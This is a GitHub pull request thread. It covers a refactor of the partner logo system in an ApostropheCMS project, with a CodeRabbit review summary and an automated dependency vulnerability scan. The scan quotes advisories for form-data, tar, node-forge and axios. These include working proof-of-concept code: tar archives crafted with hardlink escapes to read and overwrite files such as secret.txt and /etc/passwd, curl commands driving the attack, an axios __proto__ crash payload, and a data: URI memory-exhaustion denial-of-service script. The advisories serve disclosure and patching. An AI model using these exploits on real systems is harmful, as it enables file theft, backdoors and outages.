[966] simplify partner logo system and add partnership label

[IhorMasechko]

refactor: simplify partner logo system and add partnership label

• Replace separate mobile/desktop logo fields with single responsive logo

• Add partner name field and display 'In partnership with' label

• Make partnership section clickable when partner website is available

• Update logo styling to use responsive max dimensions instead of fixed sizes

• Change partner sorting to alphabetical by title

Refactored the partner logo system to use a single responsive logo field instead of separate mobile and desktop variants. Added a partner name field and implemented an "In partnership with" label display. Updated logo styling with responsive max dimensions and changed partner sorting from creation date to alphabetical title order.

[coderabbitai]

Walkthrough

This pull request consolidates mobile and desktop partnership logo handling into a single responsive logo field across multiple modules. The business-partner module adds a new title field, removes the partnerLogoMobile field, and renames partnerLogoDesktop to partnerLogo. The case-studies module updates its partner field configuration accordingly. The SCSS file introduces new partnership box and label styling classes while updating logo sizing to use responsive dimensions. The case-studies-page template is refactored to render a unified partnership display block using the new classes and single logo reference.

Possibly related PRs

• feat(partner): refactor partner block to use responsive logo images #233: Reverses similar consolidation—splits partnerLogo back into separate partnerLogoMobile and partnerLogoDesktop fields and removes the partnership box/label structure in the same files.
• fix: display partner title in case study partnership section #227: Modifies the same partnership style selectors in the SCSS file, altering layout and visibility properties for .cs_partnership-box, .cs_partnership-label, .cs_partnership-text, and .cs_partnership-logo.
• feat: add business partner link to case studies #226: Updates the business-partner piece and case-studies partner relationship, modifying the case-studies template to render partnership blocks and changing the same asset SCSS selectors.

🚥 Pre-merge checks | ✅ 3

✅ Passed checks (3 passed)

Check name	Status	Explanation
Description Check	✅ Passed	Check skipped - CodeRabbit’s high-level summary is enabled.
Title check	✅ Passed	The pull request title clearly and concisely describes the main changes: simplifying the partner logo system and adding a partnership label, with a JIRA key reference.
Docstring Coverage	✅ Passed	No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

_{✏️ Tip: You can configure your own custom pre-merge checks in the settings.}

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

[github-actions]

🔍 Vulnerabilities of apostrophe-cms:test

📦 Image Reference apostrophe-cms:test

digest	sha256:47b952f9ed1f4131c73dc91a050dceae36c06ea9d57862f434527bc1d0cf3cef
vulnerabilities
platform	linux/amd64
size	172 MB
packages	977

📦 Base Image node:24-alpine

also known as	24-alpine3.23 24.13-alpine 24.13-alpine3.23 24.13.0-alpine 24.13.0-alpine3.23 krypton-alpine krypton-alpine3.23 lts-alpine lts-alpine3.23
digest	sha256:26eb49fbfdf03bf69f728b73178fa6f9e7c2cef88b06561b65497f5ae8e50a3d
vulnerabilities

form-data 4.0.2 (npm) pkg:npm/form-data@4.0.2 Use of Insufficiently Random Values Affected range >=4.0.0 <4.0.4 Fixed version 4.0.4 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.069% EPSS Percentile 21st percentile Description Summary form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: can observe other values produced by Math.random in the target application, and can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

tar 7.5.1 (npm) pkg:npm/tar@7.5.1 Improper Handling of Unicode Encoding Affected range <=7.5.3 Fixed version 7.5.4 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L EPSS Score 0.015% EPSS Percentile 3rd percentile Description TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS AUTHOR: Tomás Illuminati Details A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() }) In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example: bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss bash-3.2$ ls collision_test_ss bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss bash-3.2$ PoC const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream'); const exploitDir = path.resolve('race_exploit_dir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir); console.log('[*] Testing...'); console.log(`[*] Extraction target: ${exploitDir}`); // Construct stream const stream = new PassThrough(); const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000); // Key 1: "f_ss" const header1 = new tar.Header({ path: 'collision_ss', mode: 0o644, size: contentA.length, }); header1.encode(); // Key 2: "f_ß" const header2 = new tar.Header({ path: 'collision_ß', mode: 0o644, size: contentB.length, }); header2.encode(); // Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding // End stream.write(Buffer.alloc(1024)); stream.end(); // Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 }); stream.pipe(extract); extract.on('end', () => { console.log('[*] Extraction complete'); // Check what exists const files = fs.readdirSync(exploitDir); console.log('[*] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`); }); if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[*] GOOD'); } else { console.log('[-] No collision'); } }); Impact This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. Remediation Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <7.5.7 Fixed version 7.5.7 CVSS Score 8.2 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N EPSS Score 0.025% EPSS Percentile 6th percentile Description Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Details The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently: Security check in [STRIPABSOLUTEPATH]: const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { /* block */ } Hardlink creation in [HARDLINK]: const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest); Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd. Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes. Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd. The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape. PoC Setup Create a new directory with these files: poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here) package.json { "dependencies": { "tar": "^7.5.0" } } secret.txt (sensitive file outside uploads/) DATABASE_PASSWORD=supersecret123 server.js (vulnerable file upload server) const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar'); const PORT = 3000; const UPLOAD_DIR = path.join(__dirname, 'uploads'); fs.mkdirSync(UPLOAD_DIR, { recursive: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(`http://localhost:${PORT}`)); create-malicious-tar.js (attacker creates exploit TAR) const fs = require('fs'); function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; } // Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar'); Run # Setup npm install echo "DATABASE_PASSWORD=supersecret123" > secret.txt # Terminal 1: Start server node server.js # Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload # READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read # Returns: DATABASE_PASSWORD=supersecret123 # WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write # Confirm secret.txt was modified cat secret.txt Impact An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables: Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process. Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory. Remote Code Execution / Server Takeover Attack Vector Target File Result SSH Access ~/.ssh/authorized_keys Direct shell access to server Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution Shell RC Files ~/.bashrc, ~/.profile Code execution on user login Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests Systemd Services /etc/systemd/system/*.service Code execution on service restart User Creation /etc/passwd (if running as root) Add new privileged user Data Exfiltration & Corruption Overwrite arbitrary files via hardlink escape + subsequent write operations Read sensitive files by creating hardlinks that point outside extraction directory Corrupt databases and application state Steal credentials from config files, .env, secrets Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=7.5.2 Fixed version 7.5.3 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N EPSS Score 0.009% EPSS Percentile 1st percentile Description Summary The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. Details The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods. 1. Hardlink Escape (Arbitrary File Overwrite) The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path. The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place. 2. Symlink Poisoning The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used. PoC The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten. const fs = require('fs') const path = require('path') const tar = require('tar') const out = path.resolve('out_repro') const secret = path.resolve('secret.txt') const tarFile = path.resolve('exploit.tar') const targetSym = '/etc/passwd' // Cleanup & Setup try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {} fs.mkdirSync(out) fs.writeFileSync(secret, 'ORIGINAL_DATA') // 1. Craft malicious Link header (Hardlink to absolute local file) const h1 = new tar.Header({ path: 'exploit_hard', type: 'Link', size: 0, linkpath: secret }) h1.encode() // 2. Craft malicious Symlink header (Symlink to /etc/passwd) const h2 = new tar.Header({ path: 'exploit_sym', type: 'SymbolicLink', size: 0, linkpath: targetSym }) h2.encode() // Write binary tar fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ])) console.log('[*] Extracting malicious tarball...') // 3. Extract with default secure settings tar.x({ cwd: out, file: tarFile, preservePaths: false }).then(() => { console.log('[*] Verifying payload...') // Test Hardlink Overwrite try { fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN') if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') { console.log('[+] VULN CONFIRMED: Hardlink overwrite successful') } else { console.log('[-] Hardlink failed') } } catch (e) {} // Test Symlink Poisoning try { if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) { console.log('[+] VULN CONFIRMED: Symlink points to absolute path') } else { console.log('[-] Symlink failed') } } catch (e) {} }) Impact Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files. Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

node-forge 1.3.1 (npm) pkg:npm/node-forge@1.3.1 Uncontrolled Recursion Affected range <1.3.2 Fixed version 1.3.2 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.115% EPSS Percentile 30th percentile Description Summary An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. Details An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects. Impact This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing. This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2. Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability. Interpretation Conflict Affected range <1.3.2 Fixed version 1.3.2 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.059% EPSS Percentile 18th percentile Description Summary CVE-2025-12816 has been reserved by CERT/CC Description An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions. Details A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives. This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type). Impact This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data. This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2. https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js. The following components in node-forge are impacted. lib/asn1.js lib/x509.js lib/pkcs12.js lib/pkcs7.js lib/rsa.js lib/pbe.js lib/ed25519.js Any downstream application using these components is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.

axios 1.8.4 (npm) pkg:npm/axios@1.8.4 Improper Check for Unusual or Exceptional Conditions Affected range <=1.13.4 Fixed version 1.13.5 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.012% EPSS Percentile 2nd percentile Description Denial of Service via proto Key in mergeConfig Summary The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service. Details The vulnerability exists in lib/core/mergeConfig.js at lines 98-101: utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); }); When prop is '__proto__': JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property Object.keys() includes '__proto__' in the iteration mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object) The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype Object.prototype(...) throws TypeError: merge is not a function The mergeConfig function is called by: Axios._request() at lib/core/Axios.js:75 Axios.getUri() at lib/core/Axios.js:201 All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224 PoC import axios from "axios"; const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig); Reproduction steps: Clone axios repository or npm install axios Create file poc.mjs with the code above Run: node poc.mjs Observe the TypeError crash Verified output (axios 1.13.4): TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9) Control tests performed: Test Config Result Normal config {"timeout": 5000} SUCCESS Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH Nested object {"headers": {"X-Test": "value"}} SUCCESS Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}. Impact Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload. Affected environments: Node.js servers using axios for HTTP requests Any backend that passes parsed JSON to axios configuration This is NOT prototype pollution - the application crashes before any assignment occurs. Allocation of Resources Without Limits or Throttling Affected range >=1.0.0 <1.12.0 Fixed version 1.12.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.072% EPSS Percentile 22nd percentile Description Summary When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'. Details The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob. Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231): const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); } The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27): export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); } The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams. As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory. In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs. PoC const axios = require('axios'); async function main() { // this example decodes ~120 MB const base64Size = 160_000_000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64; console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' }); console.log('Received bytes:', response.data.length); } main().catch(err => { console.error('Error:', err.message); }); Run with limited heap to force a crash: node --max-old-space-size=100 poc.js Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error: <--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … … Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS. import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream"; const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 }); const app = express(); const PORT = Number(process.env.PORT || 8081); const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb"; app.use(express.json({ limit: BODY_LIMIT })); app.use(morgan("combined")); app.get("/healthz", (req,res)=>res.send("ok")); /** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */ app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" }); let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); } // Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" }); const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose); const before = process.memoryUsage().heapUsed; try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 * 1024, // Axios will ignore this for data: maxBodyLength: 8 * 1024, // Axios will ignore this for data: signal: controller.signal }); // stream only the first 64KB back const cap = 64 * 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e)); const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } }); app.listen(PORT, () => { console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`); console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`); }); Run this app and send 3 post requests: SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null``` Suggestions Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit. Stream decoding Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

